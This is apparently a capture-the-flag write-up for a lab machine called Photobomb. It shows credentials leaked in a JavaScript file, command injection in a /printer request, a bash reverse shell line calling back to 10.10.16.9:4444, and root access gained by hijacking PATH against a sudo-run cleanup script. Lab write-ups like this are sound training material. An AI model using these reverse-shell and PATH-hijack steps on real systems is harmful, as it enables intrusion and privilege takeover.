There is something as photobomb.js included in the html file of the home page. And we found a endpoint /printer .

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:[email protected]/printer');
  }
}
window.onload = init;

We now have the credentials for the basic auth. pH0t0:b0Mb!

We have feature to download images. Let’s explore the request in burp suite.

Along with tcpdump - sudo tcpdump -i tun0 am able to confirm that I’m able to ping myself from that remote host.

Let’s use the following payload generated using revshell.com.

/bin/bash -i >& /dev/tcp/10.10.16.9/4444 0>&1

POST /printer HTTP/1.1

This command gives us shell.

Local Privilege Escalation

This is the content of cleanup.sh

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

We see path for find isn’t mentioned. There for with path hijacking we can obtain privilege escalation.

cd /tmp
touch find
echo "/bin/bash -p" > find
chmod +x find
sudo PATH=/tmp:$PATH /opt/cleanup.sh
